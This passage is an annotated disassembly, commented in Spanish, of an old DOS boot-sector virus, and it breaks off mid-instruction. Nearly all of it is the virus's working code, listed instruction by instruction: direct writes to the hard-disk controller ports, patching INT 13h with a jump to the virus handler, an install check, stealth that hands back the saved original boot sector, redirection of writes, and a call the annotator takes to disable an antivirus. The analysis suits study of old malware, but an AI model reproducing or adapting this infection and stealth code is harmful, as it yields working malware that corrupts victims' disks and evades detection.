PUSH    DX                                                  ∩0DA6:19EC 06            PUSH    ES                                                  ∩0DA6:19ED BF0400        MOV     DI,0004      Ω; DI = 0004                           ∩0DA6:19F0 8BF3          MOV     SI,BX        Ω; En SI pone BX, que guardaba la                                                   Ω; dirección del BOOT creado al                                                      Ω; principio de todo                    ∩0DA6:19F2 4F            DEC     DI           Ω; Decrementa DI                       ∩0DA6:19F3 74E9          JZ      19DE         Ω; Si es 0, salta y entre otras                                                     Ω; cosas acaba                          ∩0DA6:19F5 B400          MOV     AH,00        Ω; Inicializa la controladora del      ∩0DA6:19F7 B280          MOV     DL,80        Ω; disco duro haciéndole un reset      ∩0DA6:19F9 CD13          INT     13                                                  ∩0DA6:19FB 33C0          XOR     AX,AX        Ω; ES = 0                              ∩0DA6:19FD 8EC0          MOV     ES,AX                                               ∩0DA6:19FF 26            ES:                                                         ∩0DA6:1A00 A28E04        MOV     [048E],AL    Ω; Pone en [048E] el valor 0 para                                                   Ω; indicar que es inicio de opera-                                                   Ω; ción al disco duro                   ∩0DA6:1A03 FC            CLD                  Ω; Direction Flag a 0                  ∩0DA6:1A04 BAF603        MOV     DX,03F6      Ω; Port del controlador del disco                                                   Ω; duro                                 ∩0DA6:1A07 B004          MOV     AL,04        Ω; Activa las opciones de que se                                                    Ω; pueda hacer reset al disco y se                                                   Ω; pueda inicializar                    ∩0DA6:1A09 EE            OUT     DX,AL        Ω; Lo mete                             ∩0DA6:1A0A EB00          JMP     1A0C         Ω; Retardo                             ∩0DA6:1A0C EB00          JMP     1A0E         Ω; Retardo                             ∩0DA6:1A0E B000          MOV     AL,00        Ω; AL = 0                              ∩0DA6:1A10 EE            OUT     DX,AL        Ω; Ahora quita lo del reset            ∩0DA6:1A11 E84E00        CALL    1A62         Ω; Llama a una rutina que efectúa                                                   Ω; una espera hasta que la contro-                                                   Ω; ladora del disco duro está li-                                                    Ω; bre de trabajo                       ∩0DA6:1A14 BAF201        MOV     DX,01F2      Ω; En DX el port donde se pone el                                                   Ω; número de sectores a escribir        ∩0DA6:1A17 B001          MOV     AL,01        Ω; Pone que se escribirá 1 sector      ∩0DA6:1A19 EE            OUT     DX,AL        Ω; Lo mete en el port                  ∩0DA6:1A1A EB00          JMP     1A1C         Ω; Retardo                             ∩0DA6:1A1C EB00          JMP     1A1E         Ω; Retardo                             ∩0DA6:1A1E 42            INC     DX           Ω; Incrementa DX para poner en él                                                   Ω; el número de port donde se co-                                                    Ω; loca el número de sector que                                                      Ω; será escrito                         ∩0DA6:1A1F B001          MOV     AL,01        Ω; Escribirá entonces el sector                                                     Ω; número 1                             ∩0DA6:1A21 EE            OUT     DX,AL        Ω; Lo mete en el port                  ∩0DA6:1A22 EB00          JMP     1A24         Ω; Retardo                             ∩0DA6:1A24 EB00          JMP     1A26         Ω; Retardo                             ∩0DA6:1A26 42            INC     DX           Ω; Ahora pone en DX el port 01F4,                                                   Ω; que es el del número de cilin-                                                    Ω; dro que se escribirá (este es                                                     Ω; el byte bajo, 01F5 es el byte                                                     Ω; alto)                                ∩0DA6:1A27 B000          MOV     AL,00        Ω; Mete en AL el número de cilin-                                                   Ω; dro, que será el 0                   ∩0DA6:1A29 EE            OUT     DX,AL        Ω; Lo mete en el port                  ∩0DA6:1A2A EB00          JMP     1A2C         Ω; Retardo                             ∩0DA6:1A2C EB00          JMP     1A2E         Ω; Retardo                             ∩0DA6:1A2E 42            INC     DX           Ω; Incrementa DX                       ∩0DA6:1A2F B000          MOV     AL,00        Ω; Mete como byte alto de número       ∩0DA6:1A31 EE            OUT     DX,AL        Ω; de cilindro el valor 0              ∩0DA6:1A32 EB00          JMP     1A34         Ω; Retardo                             ∩0DA6:1A34 EB00          JMP     1A36         Ω; Retardo                             ∩0DA6:1A36 42            INC     DX           Ω; Incrementa DX                       ∩0DA6:1A37 B0A0          MOV     AL,A0        Ω; Ahora el control ya va por bits:                                                 Ω; el bit 7 siempre estará a 1, y                                                    Ω; el bit 5 también. Si todos los                                                    Ω; demás están a 0, significa que                                                    Ω; selecciona la unidad 0 (porque                                                    Ω; la controladora de disco duro                                                     Ω; puede controlar hasta dos dis-                                                    Ω; cos, que serían 0 y 1) y el ca-                                                   Ω; bezal 0                              ∩0DA6:1A39 EE            OUT     DX,AL        Ω; Lo mete en el port                  ∩0DA6:1A3A EB00          JMP     1A3C         Ω; Retardo                             ∩0DA6:1A3C EB00          JMP     1A3E         Ω; Retardo                             ∩0DA6:1A3E 42            INC     DX           Ω; Incrementa DX y lo hace 01F7,                                                    Ω; que es el port de comandos           ∩0DA6:1A3F B031          MOV     AL,31        Ω; Mete el comando 31h, que es pa-                                                  Ω; ra escribir en el sector, cilin-                                                  Ω; dro, cabezal, etc. que se le ha-                                                  Ω; ya indicado en los ports ante-                                                    Ω; riores                               ∩0DA6:1A41 EE            OUT     DX,AL        Ω; Lo saca al port                     ∩0DA6:1A42 E82600        CALL    1A6B         Ω; Espera hasta que la controlado-                                                  Ω; ra esté preparada para recibir                                                    Ω; datos                                ∩0DA6:1A45 B90001        MOV     CX,0100      Ω; En CX el valor 256, para escri-                                                  Ω; bir dicha cantidad de words          ∩0DA6:1A48 BAF001        MOV     DX,01F0      Ω; En DX el port de datos                                                                                                   ∩0DA6:1A4B F3            REPZ                 Ω; Mete en el buffer de datos 512      ∩0DA6:1A4C 6F            OUTSW                Ω; bytes apuntados por DS:SI (no                                                    Ω; olvidemos que ya teníamos este                                                    Ω; dato de antes).                      ∩0DA6:1A4D 26            ES:                  Ω; Obtiene en AL el byte de status     ∩0DA6:1A4E A08E04        MOV     AL,[048E]    Ω; en la BIOS de la controladora                                                    Ω; de disco duro, que será 0 al                                                      Ω; inicio de una operación de dis-                                                   Ω; co duro y FFh cuando ya ha com-                                                   Ω; pletado el comando que se le                                                      Ω; haya pasado                          ∩0DA6:1A51 0AC0          OR      AL,AL        Ω; Mira si es 0                        ∩0DA6:1A53 74F8          JZ      1A4D         Ω; Si lo es, hace LOOP hasta que                                                    Ω; que no lo sea, y por ende hasta                                                   Ω; que haya terminado con el co-                                                     Ω; mando                                ∩0DA6:1A55 E80A00        CALL    1A62         Ω; LOOPea hasta que la controlado-                                                  Ω; ra acabe con todo                    ∩0DA6:1A58 A821          TEST    AL,21        Ω; Mira si ha habido un error de                                                    Ω; escritura o si ha dado el dis-                                                    Ω; co una revolución (?? - no sé                                                     Ω; por qué lo comprobará, a no ser                                                   Ω; que algún error genere una re-                                                    Ω; volución completa de disco)          ∩0DA6:1A5A 7594          JNZ     19F0         Ω; Si está alguno de estos bits a                                                   Ω; 1 salta, y efectuará toda la                                                      Ω; rutina hasta 4 veces si hay                                                       Ω; errores consecutivos                 ∩0DA6:1A5C 07            POP     ES           Ω; Saca los registros guardados        ∩0DA6:1A5D 5A            POP     DX                                                  ∩0DA6:1A5E 59            POP     CX                                                  ∩0DA6:1A5F 5B            POP     BX                                                  ∩0DA6:1A60 58            POP     AX                                                  ∩0DA6:1A61 C3            RET                  Ω; Retorna                                                                                                                  ε;;;;; Rutina para efectuar una espera hasta que la controladora del disco duro      ε;;;;; ha acabado el trabajo que estaba efectuando en ese momento, y no retorna      ε;;;;; hasta que acaba.                                                                                                                                                   ∩0DA6:1A62 BAF701        MOV     DX,01F7         Ω; Obtiene del port del contro-     ∩0DA6:1A65 EC            IN      AL,DX           Ω; lador del 1er disco fijo del                                                     Ω; sistema el registro de esta-                                                      Ω; do                                ∩0DA6:1A66 A880          TEST    AL,80           Ω; Comprueba si está ejecutando                                                     Ω; un comando                        ∩0DA6:1A68 75FB          JNZ     1A65            Ω; Si lo está ejecutando, hace                                                      Ω; un LOOP hasta que le devuel-                                                      Ω; va que ya ha acabado              ∩0DA6:1A6A C3            RET                     Ω; Retorna                                                                                                               ε;;;;; Rutina que efectúa un LOOP de espera hasta que la controladora del disco      ε;;;;; duro está preparada para recibir datos y procesarlos                                                                                                               ∩0DA6:1A6B E8F4FF        CALL    1A62         Ω; Espera hasta que la controlado-                                                  Ω; ra del disco acabe con lo  que                                                    Ω; esté haciendo, si está haciendo                                                   Ω; algo                                 ∩0DA6:1A6E A808          TEST    AL,08        Ω; Ahora espera hasta que la con-                                                   Ω; troladora esté preparada para                                                     Ω; recibir los datos a escribir         ∩0DA6:1A70 74F9          JZ      1A6B         Ω; Si no lo está, hace LOOP hasta                                                   Ω; que lo esté                          ∩0DA6:1A72 C3            RET                  Ω; Aquí llega cuando la controla-                                                   Ω; dora está preparada para reci-                                                    Ω; bir los datos a escribir                                                                                                  ε;;;;; Rutina rara que mira si el tipo de disco duro es 0 o 1, en cuyo caso          ε;;;;; devuelve Carry Flag a 0. Si el tipo de disco duro fuera mayor, devuelve       ε;;;;; CF.                                                                                                                                                                ∩0DA6:1A73 50            PUSH    AX           Ω; Guarda AX y BX en el stack          ∩0DA6:1A74 53            PUSH    BX                                                  ∩0DA6:1A75 8BC4          MOV     AX,SP        Ω; Pone en AX el Stack Pointer         ∩0DA6:1A77 54            PUSH    SP           Ω; En BX también, pero de otra         ∩0DA6:1A78 5B            POP     BX           Ω; manera                              ∩0DA6:1A79 F9            STC                  Ω; Carry Flag a 1                      ∩0DA6:1A7A 9C            PUSHF                Ω; Guarda en el stack las banderas     ∩0DA6:1A7B 3BC3          CMP     AX,BX        Ω; Comprueba si AX es igual a BX       ∩0DA6:1A7D 7513          JNZ     1A92         Ω; Si no es igual, salta (no sé lo                                                  Ω; que puede hacer que dé diferen-                                                   Ω; te)                                  ∩0DA6:1A7F B012          MOV     AL,12        Ω; En AL el valor 12h                  ∩0DA6:1A81 E81200        CALL    1A96         Ω; Llama a una rutina para obtener                                                  Ω; en AH los tipos de unidad fija                                                    Ω; del ordenador                        ∩0DA6:1A84 9D            POPF                 Ω; Saca las banderas guardadas en                                                   Ω; el stack                             ∩0DA6:1A85 F8            CLC                  Ω; Carry Flag a 0                      ∩0DA6:1A86 9C            PUSHF                Ω; Guarda de nuevo las banderas        ∩0DA6:1A87 80E4F0        AND     AH,F0        Ω; Anula los 4 bits inferiores de                                                   Ω; AH                                   ∩0DA6:1A8A 80FC10        CMP     AH,10        Ω; Comprueba si el número en AH                                                     Ω; ahora es 10                          ∩0DA6:1A8D 7703          JA      1A92         Ω; Si es mayor, salta sin Carry                                                     Ω; Flag                                 ∩0DA6:1A8F 9D            POPF                 Ω; Si no es mayor, vuelve a acti-      ∩0DA6:1A90 F9            STC                  Ω; var el Carry Flag y salta           ∩0DA6:1A91 9C            PUSHF                                                                                                                                            ∩0DA6:1A92 9D            POPF                  Ω; Saca las banderas                  ∩0DA6:1A93 5B            POP     BX            Ω; Saca BX y AX                       ∩0DA6:1A94 58            POP     AX                                                  ∩0DA6:1A95 C3            RET                   Ω; Retorna                                                                                                                 ε;;;; Rutina para obtener en AH los tipos de unidad fija del ordenador (los ob-      ε;;;; tiene directamente por los ports de la BIOS)                                                                                                                        ∩0DA6:1A96 53            PUSH    BX           Ω; Guarda BX                           ∩0DA6:1A97 8AD8          MOV     BL,AL        Ω; En BL pone AL                       ∩0DA6:1A99 0C80          OR      AL,80        Ω; Activa el bit 7 en AL               ∩0DA6:1A9B FA            CLI                  Ω; Prohibe interrupciones              ∩0DA6:1A9C E670          OUT     70,AL        Ω; Desactiva las NMI (Non Mascara-                                                  Ω; ble Interruptions), que son las                                                   Ω; interrupciones de la 0 a la 7,                                                    Ω; que aunque se haga CLI se si-                                                     Ω; guen ejecutando. Pero ya no si                                                    Ω; se desactivan de esta manera         ∩0DA6:1A9E EB00          JMP     1AA0         Ω; Salto de retardo                    ∩0DA6:1AA0 EB00          JMP     1AA2         Ω;   "   "     "                       ∩0DA6:1AA2 E471          IN      AL,71        Ω; Obtiene en AL el tipo de las                                                     Ω; unidades fijas (fixed drives)                                                     Ω; del sistema                          ∩0DA6:1AA4 8AE0          MOV     AH,AL        Ω; Pone en AH el valor obtenido        ∩0DA6:1AA6 32C0          XOR     AL,AL        Ω; AL = 0                              ∩0DA6:1AA8 EB00          JMP     1AAA         Ω; Retardo                             ∩0DA6:1AAA EB00          JMP     1AAC         Ω; Retardo                             ∩0DA6:1AAC E670          OUT     70,AL        Ω; Activa de nuevo las NMI             ∩0DA6:1AAE FB            STI                  Ω; Activa TODAS las interrupciones     ∩0DA6:1AAF 8AC3          MOV     AL,BL        Ω; Pone en AL el valor anterior        ∩0DA6:1AB1 5B            POP     BX           Ω; Saca BX                             ∩0DA6:1AB2 C3            RET                  Ω; Retorna                                                                                                                                                                                                       ∩0DA6:1AB3 2E            CS:                  Ω; Esto es la instrucción de inicio    ∩0DA6:1AB4 803E0D00      CMP     BYTE PTR [000D],XX Ω; que el virus copia aquí en                                                       Ω; su instalación por BOOT.                                                          Ω; Esta instrucción es, en-                                                          Ω; tonces, la de la int 13h                                                          Ω; del sistema donde "pillé"                                                         Ω; el virus                                                                                                            ε;;;;;;; Rutina para copiar los 5 primeros bytes de la int 13h y ponerlos en         ε;;;;;;; :1AB3                                                                                                                                                            ∩0DA6:1AB8 0E            PUSH    CS              Ω; ES = CS                          ∩0DA6:1AB9 07            POP     ES                                                  ∩0DA6:1ABA BFB31A        MOV     DI,1AB3         Ω; En DI la dirección :1AB3         ∩0DA6:1ABD 26            ES:                     Ω; Carga en DS:SI la dirección      ∩0DA6:1ABE C5364714      LDS     SI,[1447]       Ω; de inicio de la int 13h          ∩0DA6:1AC2 FC            CLD                     Ω; Hacia delante                    ∩0DA6:1AC3 A5            MOVSW                   Ω; Copia en :1AB3 los 5 primeros    ∩0DA6:1AC4 A5            MOVSW                   Ω; bytes                            ∩0DA6:1AC5 A4            MOVSB                                                       ∩0DA6:1AC6 C3            RET                     Ω; Retorna                                                                                                               ε;;;; Rutina para poner en el inicio de la int 13h una instrucción de salto a        ε;;;; la rutina de int 13h que tiene preparada el virus para gestionar esta in-      ε;;;; terrupción.                                                                                                                                                         ∩0DA6:1AC7 1E            PUSH    DS              Ω; Guarda registros afectados       ∩0DA6:1AC8 56            PUSH    SI                                                  ∩0DA6:1AC9 50            PUSH    AX                                                  ∩0DA6:1ACA 9C            PUSHF                   Ω; Guarda banderas                  ∩0DA6:1ACB 2E            CS:                     Ω; Mira si el bit 1 en [16CA]       ∩0DA6:1ACC F606CA1602    TEST    BYTE PTR [16CA],02 Ω; está a 1                      ∩0DA6:1AD1 7510          JNZ     1AE3            Ω; Si está, salta y acaba           ∩0DA6:1AD3 2E            CS:                     Ω; Carga en DS:SI la dirección      ∩0DA6:1AD4 C5364714      LDS     SI,[1447]       Ω; en :1447, que es el puntero                                                      Ω; a la int 13h original             ∩0DA6:1AD8 C604EA        MOV     BYTE PTR [SI],EA Ω; Inserta en este punto el va-                                                    Ω; lor de opcode de JMP FAR          ∩0DA6:1ADB C74401371B    MOV     WORD PTR [SI+01],1B37 Ω; Después forma una ins-     ∩0DA6:1AE0 8C4C03        MOV     [SI+03],CS      Ω; trucción JMP FAR que salta a                                                     Ω; la rutina del virus que tiene                                                     Ω; para la int 13h                   ∩0DA6:1AE3 9D            POPF                    Ω; Saca banderas                    ∩0DA6:1AE4 58            POP     AX              Ω; Saca registros (AX no lo ha      ∩0DA6:1AE5 5E            POP     SI              Ω; usado para nada)                 ∩0DA6:1AE6 1F            POP     DS                                                  ∩0DA6:1AE7 C3            RET                     Ω; Retorna                                                                                                               ε;;;;;;; Rutina para sobreescribir el inicio de la int 13h con la instrucción        ε;;;;;;; verdadera, que es copiada cuando se instala por medio del BOOT.             ε;;;;;;; Esto lo hace para machacar la instrucción JMP FAR que ha puesto para        ε;;;;;;; redireccionar la int 13h a su propio código.                                                                                                                     ∩0DA6:1AE8 9C            PUSHF              Ω; Guarda banderas, CX, DI, SI, DS       ∩0DA6:1AE9 51            PUSH    CX         Ω; y ES                                  ∩0DA6:1AEA 57            PUSH    DI                                                  ∩0DA6:1AEB 56            PUSH    SI                                                  ∩0DA6:1AEC 1E            PUSH    DS                                                  ∩0DA6:1AED 06            PUSH    ES                                                  ∩0DA6:1AEE 0E            PUSH    CS         Ω; DS = CS                               ∩0DA6:1AEF 1F            POP     DS                                                  ∩0DA6:1AF0 F606CA1602    TEST    BYTE PTR [16CA],02 Ω; Mira si el bit 1 en [16CA]                                               Ω; está a 1                               ∩0DA6:1AF5 750E          JNZ     1B05       Ω; Si lo está, acaba                     ∩0DA6:1AF7 FA            CLI                Ω; Prohíbe interrupciones                ∩0DA6:1AF8 BEB31A        MOV     SI,1AB3    Ω; Pone en SI la dirección :1AB3         ∩0DA6:1AFB C43E4714      LES     DI,[1447]  Ω; Carga en ES:DI el puntero a la                                                   Ω; int 13h original                       ∩0DA6:1AFF FC            CLD                Ω; Hacia delante                         ∩0DA6:1B00 B90500        MOV     CX,0005    Ω; Copia en la int 13h 5 bytes de                                                   Ω; la dirección en SI. Se trata de                                                   Ω; una instrucción con la que parece                                                 Ω; ser que empiezan todas las ints                                                   Ω; 13h en la mayoría de sistemas          ∩0DA6:1B03 F3            REPZ               Ω; Copia allí 5 bytes                    ∩0DA6:1B04 A4            MOVSB                                                       ∩0DA6:1B05 FB            STI                Ω; Permite interrupciones                ∩0DA6:1B06 07            POP     ES         Ω; Saca los valores guardados en el      ∩0DA6:1B07 1F            POP     DS         Ω; stack                                 ∩0DA6:1B08 5E            POP     SI                                                  ∩0DA6:1B09 5F            POP     DI                                                  ∩0DA6:1B0A 59            POP     CX                                                  ∩0DA6:1B0B 9D            POPF                                                        ∩0DA6:1B0C C3            RET                Ω; Retorna                                                                                                                                                                                                         ∩0DA6:1B0D 7407          DB      00,00      Ω; Lugar donde guarda la int 21h du-     ∩0DA6:1B0F 7000          DB      00,00      Ω; rante la instalación mediante BOOT                                                                                                                                                                              ∩0DA6:1B11 D1D0          RCL     AX,1                                                                                                                                     ∩0DA6:1B13 8002          DB      80,02      Ω; Variable donde mete la cantidad                                                  Ω; de Kb de memoria base que tiene                                                   Ω; el sistema al arrancar (arrancan-                                                 Ω; do por BOOT)                                                                                                                ∩0DA6:1B15 10            DB      10         Ω; En :1C27 mete el valor de AL, que                                                Ω; indica la unidad de diskette ac-                                                  Ω; tual según la posición del bit a                                                  Ω; 1 en el nibble superior. Si el bit                                                Ω; nº4, por ejemplo, está encendido,                                                 Ω; entonces indica la unidad 0. Si es                                                Ω; el bit 5, entonces indica la uni-                                                 Ω; dad 1, y así sucesivamente.                                                                                                 ∩0DA6:1B16 00            DB      00              Ω; Aquí mete el número de fun-                                                      Ω; ción actual desde :1B1A           ∩0DA6:1B17 00            DB      00              Ω; Aquí guarda el número de uni-                                                    Ω; dad en algunas funciones de                                                       Ω; la int 13h, para no perderla,                                                     Ω; ya que en ese momento sería                                                       Ω; complicado meterla incluso en                                                     Ω; el stack.                                                                         Ω; Desde :1D6A guarda aquí el                                                        Ω; error que le haya podido de-                                                      Ω; volver al escribir o leer.        ∩0DA6:1B18 00            DB      00                                                                                                                                       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;;;  N U E V A   I N T E R R U P C I O N    1 3 h           ;;;;;;;;;;;;;;;;;      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;      ε;;; Su punto de inicio es en :1B37.                                                                                                                                                                             Ω; Aquí desde :1B6A si la función de la                                              Ω; int 13h es la 16h                          ∩0DA6:1B19 9D            POPF            Ω; Guarda banderas                          ∩0DA6:1B1A 2E            CS:             Ω; Mete el número de función en [1B16]      ∩0DA6:1B1B 8826161B      MOV     [1B16],AH                                           ∩0DA6:1B1F E883FD        CALL    18A5    Ω; Efectúa la int 13h                       ∩0DA6:1B22 9C            PUSHF           Ω; Guarda las banderas                      ∩0DA6:1B23 0AE4          OR      AH,AH   Ω; ¿Es AH 0?                                ∩0DA6:1B25 7403          JZ      1B2A    Ω; Si es, es el mismo disco y salta a                                               Ω; :12BA                                     ∩0DA6:1B27 E9D300        JMP     1BFD    Ω; Salta a :1BFD                            ∩0DA6:1B2A 2E            CS:             Ω; Pone el número en [1B16] a 0             ∩0DA6:1B2B C606161B00    MOV     BYTE PTR [1B16],00                                  ∩0DA6:1B30 9D            POPF            Ω; Saca las banderas                        ∩0DA6:1B31 E893FF        CALL    1AC7    Ω; Pone la instrucción de JMP FAR al                                                Ω; Entry-Point del la int 13h en el vi-                                              Ω; rus                                       ∩0DA6:1B34 CA0200        RETF    0002    Ω; Retorno de interrupción                                                                                                       ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                      ε;;; INICIO DE LA INTERRUPCION 13h      ;;;;;;;                                      ε;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;                                                                                                                           ∩0DA6:1B37 9C            PUSHF                Ω; Guarda las banderas en el stack     ∩0DA6:1B38 3D4554        CMP     AX,5445      Ω; Mira si es un Install-Check del                                                  Ω; virus                                ∩0DA6:1B3B 7507          JNZ     1B44         Ω; Si no es, continúa en :1B44         ∩0DA6:1B3D B85445        MOV     AX,4554      Ω; Pone el valor 4554h en AX           ∩0DA6:1B40 9D            POPF                 Ω; Saca las banderas                   ∩0DA6:1B41 CA0200        RETF    0002         Ω; Retorna                                                                         Ω; Aquí desde :1B44                      ∩0DA6:1B44 E8A1FF        CALL    1AE8         Ω; Sobreescribe el inicio de la                                                     Ω; int 13h verdadera con la ins-                                                     Ω; trucción original, para sobrees-                                                  Ω; cribir el JMP FAR que el virus                                                    Ω; ha insertado allí saltando al                                                     Ω; inicio de esta rutina.               ∩0DA6:1B47 81FA8000      CMP     DX,0080      Ω; Comprueba si DX es 0080h, con                                                    Ω; lo que se estaría intentando                                                      Ω; acceder al disco duro y cabezal                                                   Ω; 0 de alguna parte del disco          ∩0DA6:1B4B 7513          JNZ     1B60         Ω; Si no es, salta a :1B60             ∩0DA6:1B4D 83F901        CMP     CX,+01       Ω; Comprueba si se intenta acceder                                                  Ω; al cilindro nº 0 sector nº 1         ∩0DA6:1B50 750E          JNZ     1B60         Ω; Si no es, salta a :1B60             ∩0DA6:1B52 80FC03        CMP     AH,03        Ω; Comprueba si es la función de                                                    Ω; escritura                            ∩0DA6:1B55 7709          JA      1B60         Ω; Si es la función 4 en adelante,                                                  Ω; salta a :1B60                        ∩0DA6:1B57 80FC02        CMP     AH,02        Ω; Comprueba si es la función de                                                    Ω; lectura                              ∩0DA6:1B5A 7204          JB      1B60         Ω; Si es menor, salta a :1B60          ∩0DA6:1B5C 9D            POPF                 Ω; Saca las banderas del stack         ∩0DA6:1B5D EB33          JMP     1B92         Ω; Salta a :1B92                       ∩0DA6:1B5F 90            NOP                  Ω; NOP superfluo, resultado de com-                                                 Ω; pilar el programa con TASM (se-                                                   Ω; guramente) con la opción /m2 en                                                   Ω; vez de con /m3                                                                   Ω; Aquí si no coincide alguna com-                                                   Ω; probación anterior                    ∩0DA6:1B60 80FA80        CMP     DL,80        Ω; Mira si se intenta realizar la                                                   Ω; acción con el disco duro             ∩0DA6:1B63 7314          JNB     1B79         Ω; Si es mayor o igual, salta a                                                     Ω; :1B79                                                                            Ω; Hasta :1B79, todas las funciones                                                  Ω; se refieren a diskettes               ∩0DA6:1B65 80FC16        CMP     AH,16        Ω; Comprueba si es la función de                                                    Ω; detectar si se ha cambiado el                                                     Ω; disco                                ∩0DA6:1B68 7502          JNZ     1B6C         Ω; Si no es, continúa en :1B6C         ∩0DA6:1B6A EBAD          JMP     1B19         Ω; Salta a :1B19                       ∩0DA6:1B6C 80FC05        CMP     AH,05        Ω; Comprueba si es la función de                                                    Ω; formateo                             ∩0DA6:1B6F 7308          JNB     1B79         Ω; Si es mayor o igual, salta a                                                     Ω; :1B79                                ∩0DA6:1B71 80FC01        CMP     AH,01        Ω; Comprueba si es la función de                                                    Ω; leer estado del disco duro           ∩0DA6:1B74 7603          JBE     1B79         Ω; Si es menor o igual, salta                                                      Ω; Aquí llegará entonces si la fun-                                                  Ω; ción es la 02, que es la función                                                  Ω; del lectura                           ∩0DA6:1B76 E98400        JMP     1BFD         Ω; Salta a :1BFD                                                                   Ω; Aquí desde un montón de sitios                                                    Ω; de allá arriba                        ∩0DA6:1B79 80FA80        CMP     DL,80        Ω; Comprueba si se intenta acceder                                                  Ω; al disco duro principal              ∩0DA6:1B7C 750A          JNZ     1B88        Ω; Si no, salta a :1B88                 ∩0DA6:1B7E 2E            CS:                  Ω; Comprueba si CX es el valor en      ∩0DA6:1B7F 390E111B      CMP     [1B11],CX    Ω; [1B11]                              ∩0DA6:1B83 7503          JNZ     1B88         Ω; Si no es, salta                     ∩0DA6:1B85 80E502        AND     CH,02        Ω; Pone el número de cilindro a 0                                                   Ω; o 2                                  ∩0DA6:1B88 9D            POPF                 Ω; Saca las banderas del stack         ∩0DA6:1B89 E819FD        CALL    18A5         Ω; Efectúa la int 13h                  ∩0DA6:1B8C E838FF        CALL    1AC7         Ω; Pone una instrucción JMP FAR                                                     Ω; al punto CS:1B37 en el inicio                                                     Ω; de la int 13h, para que si es                                                     Ω; llamada salte a esta misma ruti-                                                  Ω; na                                   ∩0DA6:1B8F CA0200        RETF    0002         Ω; Retorno de interrupción                                                                                                                                              Ω; Aquí llega si es la función 02h o                                                 Ω; 03h de la int 13h y se intenta                                                    Ω; leer el BOOT del disco duro           ∩0DA6:1B92 53            PUSH    BX           Ω; Guarda registros                    ∩0DA6:1B93 51            PUSH    CX                                                  ∩0DA6:1B94 52            PUSH    DX                                                  ∩0DA6:1B95 06            PUSH    ES                                                  ∩0DA6:1B96 80FC02        CMP     AH,02        Ω; Comprueba si es la 02               ∩0DA6:1B99 7402          JZ      1B9D         Ω; Si no es, y por tanto es la 03h,    ∩0DA6:1B9B EB1E          JMP     1BBB         Ω; salta a :1BBB                       ∩0DA6:1B9D E805FD        CALL    18A5         Ω; Efectúa la int 13h                  ∩0DA6:1BA0 9C            PUSHF                Ω; Guarda banderas, AX y BX            ∩0DA6:1BA1 50            PUSH    AX                                                  ∩0DA6:1BA2 53            PUSH    BX                                                  ∩0DA6:1BA3 B408          MOV     AH,08        Ω; AH = 8, que es la función de ob-                                                 Ω; tención de formato del disco que                                                  Ω; se le pasa en DL                     ∩0DA6:1BA5 B280          MOV     DL,80        Ω; DL = 80h, que es el identifica-                                                  Ω; dor del disco duro                   ∩0DA6:1BA7 E8FBFC        CALL    18A5         Ω; Int 13h                             ∩0DA6:1BAA FEC5          INC     CH           Ω; Incrementa CH                       ∩0DA6:1BAC FECE          DEC     DH           Ω; Decrementa DH. Ahora ha conse-                                                   Ω; guido la dirección absoluta en                                                    Ω; el disco duro (en sectores y to-                                                  Ω; do eso) del sitio donde guardó                                                    Ω; el BOOT original                     ∩0DA6:1BAE B280          MOV     DL,80        Ω; DL = 80h (disco duro)               ∩0DA6:1BB0 B80102        MOV     AX,0201      Ω; Función de lectura y se lee 1                                                    Ω; sector                               ∩0DA6:1BB3 5B            POP     BX           Ω; En BX el buffer de lectura          ∩0DA6:1BB4 E8EEFC        CALL    18A5         Ω; Int 13h. Ha sobreescrito lo leí-                                                 Ω; do en el BOOT (que era el BOOT                                                    Ω; del virus) con el BOOT original      ∩0DA6:1BB7 58            POP     AX           Ω; Saca AX                             ∩0DA6:1BB8 9D            POPF                 Ω; Saca las banderas                   ∩0DA6:1BB9 EB35          JMP     1BF0         Ω; Salta y acaba                                                                   Ω; Aquí si es la función de escritu-                                                 Ω; ra                                    ∩0DA6:1BBB 1E            PUSH    DS           Ω; Guarda DS, DI, SI y AX en el        ∩0DA6:1BBC 57            PUSH    DI           Ω; stack                               ∩0DA6:1BBD 56            PUSH    SI                                                  ∩0DA6:1BBE 50            PUSH    AX                                                  ∩0DA6:1BBF FEC8          DEC     AL           Ω; Decrementa AL para escribir un                                                   Ω; sector menos                         ∩0DA6:1BC1 06            PUSH    ES           Ω; Mete en el stack ES y BX            ∩0DA6:1BC2 53            PUSH    BX                                                  ∩0DA6:1BC3 740B          JZ      1BD0         Ω; Si AL era 1, salta a :1BD0 y se                                                  Ω; salta lo siguiente                   ∩0DA6:1BC5 81C30002      ADD     BX,0200      Ω; Suma a BX 512, para saltarse los                                                 Ω; primeros 512 bytes de lo que                                                      Ω; quería escribir                      ∩0DA6:1BC9 FEC1          INC     CL           Ω; Incrementa el número de sector                                                   Ω; a escribir, de manera que no                                                      Ω; sobreescribirá el BOOT, sino que                                                  Ω; será como si lo hubiera escrito                                                   Ω; todo y después se hubiera puesto                                                  Ω; el BOOT del virus que había          ∩0DA6:1BCB E8D7FC        CALL    18A5         Ω; Int 13h                             ∩0DA6:1BCE FEC9          DEC     CL           Ω; Decrementa de nuevo el número                                                    Ω; de sector a escribir, aunque                                                      Ω; después va a sobreescribirlo         ∩0DA6:1BD0 B408          MOV     AH,08        Ω; Obtiene el formato del disco du-    ∩0DA6:1BD2 B280          MOV     DL,80        Ω; ro                                  ∩0DA6:1BD4 E8CEFC        CALL    18A5         Ω; Int 13h                             ∩0DA6:1BD7 5B            POP     BX           Ω; Saca BX y ES anterior               ∩0DA6:1BD8 07            POP     ES                                                  ∩0DA6:1BD9 FEC5          INC     CH           Ω; Incrementa CH y decrementa DH       ∩0DA6:1BDB FECE          DEC     DH           Ω; obtenidos, de manera que tiene                                                   Ω; la dirección donde guardó el                                                      Ω; BOOT original en el disco            ∩0DA6:1BDD B280          MOV     DL,80        Ω; DL = 80h (disco duro)               ∩0DA6:1BDF B80103        MOV     AX,0301      Ω; Función de escritura, y escri-                                                   Ω; birá un sector (512 bytes)           ∩0DA6:1BE2 E857FA        CALL    163C         Ω; Mata un programa en el BOOT (si                                                  Ω; es este) que no he identifica-                                                    Ω; do. Debe ser un antivirus.           ∩0DA6:1BE5 